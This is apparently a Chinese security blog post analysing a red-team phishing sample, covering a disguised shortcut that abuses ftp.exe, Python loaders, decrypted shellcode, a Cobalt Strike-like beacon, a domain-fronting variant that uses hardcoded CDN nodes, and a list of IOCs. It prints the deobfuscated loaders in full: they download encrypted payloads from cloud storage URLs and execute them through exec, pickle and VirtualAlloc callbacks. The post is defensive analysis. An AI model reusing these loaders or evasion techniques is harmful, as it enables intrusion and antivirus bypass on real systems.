某大厂红队钓鱼样本分析

某大厂红队样本分析,域前置玩出新花样

Posted by Ga0weI on July 15, 2024

0x01 前言

好久没更新blog,简单记录下前两天分析的一个某大厂红队做的钓鱼马;

0x02 样本分析

1
2
3
4
5
6
7
8
样本:《故障信息.rar》
 md5:b51c0f4492538e3a7302e8f13aa3642a
 
 解压 pwd:comac
 释放一个伪装为doc的快捷方式,和一个影藏文件夹``_init_``
 
 名称:《商飞系统故障信息.docx.lnk》
 md5:9cbb5829d876f91c83dff6bd66273ed1

一、loader分析

快捷方式指向:C:\Windows\System32\ftp.exe -""s:__init__\libEGL.dll

image-20240702104057986

如上图,利用ftp加载运行脚本libEGL.dll

libEGL.dll,一个伪装为dll的ftp脚本,脚本内容如下:

image-20240702104239954

无窗口运行main.py和打开11.docx并退出ftp;

main.py导入action.py,

action.py内容如下:

image-20240702104555978

简单还原混淆,代码如下:

image-20240702105706115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import ast 
import pickle 
import ctypes ,urllib .request ,codecs ,base64 
import sys ,ssl 
ssl ._create_default_https_context =ssl ._create_unverified_context 
req =urllib .request .urlopen ('https://message-pdf.oss-cn-hangzhou.aliyuncs.com/BuWtGeVfIx').read ()
def fun1 (arg1 ,arg2 ):
    len =bytearray (len (arg1 ))
    for i in range (len (arg1 )):
        len [i ]=arg1 [i ]^arg2 [i %len (arg2 )]
    return bytes (len )
def fun2 (arg1 ,arg2 ):
    return fun1 (arg1 ,arg2 )
def fun3 (arg1 ):
    res =""
    for i in range (3 ,len (arg1 ),4 ):
        res +=arg1 [i ]
    result =base64 .b64decode (res )
    return result .decode ()
req =fun3 (req .decode ())
class A (object ):
    def __reduce__ (arg1 ):
        return (exec ,(req ,))
def fun4 (A_arg1 ):
    try :
        parsed_code =ast .parse (A_arg1 ,mode ='exec')
        exec (compile (parsed_code ,filename ="<string>",mode ="exec"))
    except Exception as e :
        exit ()
my_value ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
res1 =fun3 (my_value )
fun4 (res1 )

利用ast编译并执行解码后的代码,解密还原后的代码如下,通过远程拉取云服务器【https://message-pdf.oss-cn-hangzhou.aliyuncs.com/BuWtGeVfIx】上的加密恶意payload,解密解码后利用自定的反序列化操作,实现任意代码执行

image-20240702110849769

image-20240702111614326

分析的时候,云服务器上挂载的载荷还在,下载下来,如下:

image-20240702111953551

解密解码还原如下:

image-20240702112159616

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import ctypes,urllib.request,codecs,base64
encrypted_data = urllib.request.urlopen('https://message-pdf.oss-cn-hangzhou.aliyuncs.com/p73G62aM').read()
encrypted_data = encrypted_data.strip()


while 1:
    try:
        #64
        key = b'vylaWhegGgcfkDRFH'
        decoded_data = base64.b64decode(encrypted_data)
        sc = OO0000OO00O00OOOO(decoded_data, key)
        ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
        rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
        ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc))
        ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0))

    except Error as e:
        print(e)

结合前面代码 OO0000OO00O00OOOO是fun2,内置解密就是fun1方法,一个循环异或解密的方法;

这里远程拉取云服务器【https://message-pdf.oss-cn-hangzhou.aliyuncs.com/p73G62aM】上shellcode,通过内置key,解密shellcode,解码然后使用py实现了一个loader,EnumDateFormatsA回调加载shellcode并执行;

云资源还在,这里我们获取到,内容如下:

image-20240702113013026

解密解码还原后:

image-20240702125839255

二、Shellcode分析

静态分析,发现做了运行时动态加解密:

image-20240702175331692

image-20240702175408777

写个loader 加载调试该shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>
#include <iostream>
using namespace std;


void run()
{
    HANDLE hfile = CreateFileA("shellcode.bin", FILE_ALL_ACCESS, 0, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    DWORD fileSize = GetFileSize(hfile, NULL);
    LPVOID buffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    DWORD realRead = 0;
    ReadFile(hfile, buffer, fileSize, &realRead, NULL);
    ((void(*)())buffer)();
}
int main() {
    run();
}

如下图,修改后的代码是一个循环格式,xor迭代循环从后往前修改所有字节:

修改前:

image-20240702175829688

修改后:

image-20240702175753834

接着一直迭代重复该操作,这里我们通过设置条件断点,跟了几个轮询:

image-20240702175934279

7个相似的解密轮回之后:

image-20240702181044817

11个相似的全局解密轮回之后,跳转0x1b017偏移位置:

image-20240702192116658

然后通过计算拿到了rax,发现rax对应位置的值是mz开头,跳转内存看,发现还原出来的内置其中的pe文件:

image-20240702192630224

dump,拿到pe文件,如下图,可以看到文件名bacons.x64.bacons.dll

image-20240702194459953

分析这个dll文件,所有变量都被混淆了,如:下面是动态获取一些函数地址的时候,通过loadlibrary和getprocaddress的操作:

image-20240702195839251

导入表,所有都乱码了:

image-20240702200201604

区节表名称被混淆:

image-20240703144553038

推测这里因该是还有一个动态修复dll的过程;需要接着刚刚动态调试;

但是硬逻辑里面发现一个字符特征和cs吻合,可能是基于cs魔改过来的:

image-20240702195513406

动态分析:

shellcode逻辑里面,修复各表节:

image-20240703144435199

调试,发现外联:

1
2
3
4
5
url:"/unionpay/index"
cookies: 
host:79nh.com

agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

image-20240704183840177

image-20240704180309203

cookies里面的加密内容:

image-20240704181018969

所有内置的外联节点:

image-20240705142916651

拿到疑似c2:

1
2
3
4
5
6
7
8
9
10
疑似:
122.228.223.248
111.170.24.248
36.102.212.117
36.158.224.101
58.220.52.240
121.207.229.248
182.40.78.250
113.200.137.226

和行为侧看到的一致:

image-20240704184730866

这里通过情报查询,发现拿到这批疑似c2的IP,其实都是cdn的转发节点:

image-20240705094006558

image-20240705094033174

结合之类之前的网络请求:

1
2
3
4
url:"/unionpay/index"
cookies: 加密内容
host:79nh.com
agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

这里攻击者使用域前置技术来外联c2,只不过做了一些改进,就是把前置的域名去掉,直接把前置域名可能会解析到的cdn节点,内置到样本里面,然后直接发送请求到cdn节点,cdn节点根据后置域名转发,从而实现c2上线;

通过堆栈回溯,发现这里shellcode里面并没有通过virtualAlloc之类的函数去开辟空间,来容纳反射加载dll,而是选择通过加载一个wwanmm.dll的模块,然后覆盖这里的地址;

image-20240705144209984

通过内部的狩猎平台,发现相关类似shellcode,23年年底就出现了;说明该红队的技术迭代不是非常频繁;

0x03 IOCs

云资源:

1
2
3
hxxps://message-pdf.oss-cn-hangzhou.aliyuncs.com/BuWtGeVfIx
hxxps://message-pdf.oss-cn-hangzhou.aliyuncs.com/p73G62aM

内置的cdn节点

1
2
3
4
5
6
7
8
122.228.223.248
111.170.24.248
36.102.212.117
36.158.224.101
58.220.52.240
121.207.229.248
182.40.78.250
113.200.137.226

请求特征:

1
2
3
url:/unionpay/index
agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
cookies:加密心跳

domian:

1
79nh.com

0x04 总结

此次分析的样本的shellcode 大概率是对cs beacon魔改而来,并且其回连c2都是使用域前置技术的变种版,不用前置域名,内置cdn节点,从而实现回连上线;

loader通过双层云资源拉取解密,实现免杀;

shellcode使用了一些编码技术,和反反编译技术等实现免杀;

域名前置新姿势,绕过流量设备的dns请求记录,实现反分析;